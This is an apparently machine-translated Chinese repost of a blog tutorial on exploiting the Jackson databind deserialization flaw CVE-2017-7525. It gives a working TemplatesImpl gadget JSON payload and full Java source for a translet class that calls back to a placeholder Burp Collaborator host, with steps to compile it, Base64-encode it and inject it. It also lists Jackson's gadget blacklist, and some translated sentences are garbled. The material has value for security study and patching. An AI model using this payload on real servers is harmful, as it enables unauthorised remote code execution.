利用Jackson RCE:CVE-2017-7525

今年早些时候,Jackson数据绑定库(Java数据绑定库)中发现了一个漏洞,该漏洞允许开发人员轻松地将Java对象序列化为JSON,反之亦然,这就允许攻击者利用反序列化来实现服务器上的远程代码执行。这个漏洞似乎没有得到多少关注,甚至更少的文档。鉴于这是一个容易利用的远程代码执行漏洞,几乎没有文档,我分享我的笔记。

要找什么

有几种方法可以使用Jackson,最简单也可能是最常见的方法是对单个对象执行绑定,从JSON中提取值并在关联的Java对象上设置属性。这很简单,直接,而且可能不会被利用。以下是该类型文档的示例:

{
  "name" : "Bob", "age" : 13,
  "other" : {
     "type" : "student"
  }
}

我们感兴趣的是有点不同的 - 在某些情况下,1是创建任意对象,并且您将在JSON文档中看到它们的类名。如果你看到这一点,应该立即发出红旗。以下是这些内容的示例:

{
  "@class":"MyApp.Obj",
  val:[
    "java.lang.Long",
    1
  ]
}

要确定是否真的是你看到的杰克逊,一种技术是(如果详细的错误信息是可用的)提供无效的输入,并寻找引用其中任何一个:

  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

构建利用

然而,创建任意对象的能力确实带来了一些限制:其中最重要的是杰克逊需要一个默认构造函数(没有参数),所以看起来像明显的选择(即java.lang.ProcessBuilder)的东西不是一个选项。Moritz Bechler在文章中提出了一些关于技术的建议,尽管本文推荐的技术是有趣的(重点是从另一个服务器加载远程对象),但这并不符合我的需求。还有其他一些简单的选项。

有意思的是,这个项目给了我们一个在单元测试中建立一个有效利用的起点:

{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
}

这段代码利用一个众所周知的“小工具”来创建一个对象,该对象将接受一个编译Java对象(通过transletBytecodes),并在outputProperties访问后立即执行它。这创建了一个非常简单,直接的技术来利用这个漏洞。

我们可以提供一个有效载荷来证明我们已经执行了,我们完成了。

建立有效载荷

在这种情况下,我们的目标是证明我们已经执行了,我所走的路线是让服务器GET向Burp协作者发出一个请求。以下示例代码可以轻松完成此操作:

import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL("http://[your-url].burpcollaborator.net");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
  }
}

这个代码可以用编译javac器编译,然后生成的.class文件应该是Base64编码的,并提供给transletBytecodesJSON文档中的字段。一旦文档被处理,它将创建对象,加载代码并执行它。代码执行后,您仍然可以看到代码失败的错误,例如类型不匹配等。

限制攻击面

这只是利用这个缺陷的一种技术,还有很多可用的技术。为了缓解这个问题,至少在一定程度上,Jackson已经修改了一个黑名单,这个黑名单被认为是这种攻击的有用的小工具:

  • org.apache.commons.collections.functors.InvokerTransformer
  • org.apache.commons.collections.functors.InstantiateTransformer
  • org.apache.commons.collections4.functors.InvokerTransformer
  • org.apache.commons.collections4.functors.InstantiateTransformer
  • org.codehaus.groovy.runtime.ConvertedClosure
  • org.codehaus.groovy.runtime.MethodClosure
  • org.springframework.beans.factory.ObjectFactory
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • org.apache.xalan.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • java.util.logging.FileHandler
  • java.rmi.server.UnicastRemoteObject
  • org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
  • org.springframework.beans.factory.config.PropertyPathFactoryBean
  • com.mchange.v2.c3p0.JndiRefForwardingDataSource
  • com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

有可能有其他人可以用类似的方式来获得代码执行尚未成为众所周知的,所以这并不能消除这个问题,它只是使它不太可能。

必读和参考

要充分了解这个漏洞,你应该阅读几件事情:


要利用这个问题,库的用户必须启用了默认的输入(mapper.enableDefaultTyping),如果这个还没有完成,那么这个漏洞利用不起作用,因为你不能创建任意的对象。


转载请注明出处:https://www.freearoot.com/index.php/%e5%88%a9%e7%94%a8jackson-rce%ef%bc%9acve-2017-7525.html

文章转载来源:https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/#fnref-1218-1


本教程软件工具来源于网络仅为个人学习测试使用,请在下载后24小时内删除,请遵守国家法律法规,不得恶意滥用进行非法用途,否则后果自负.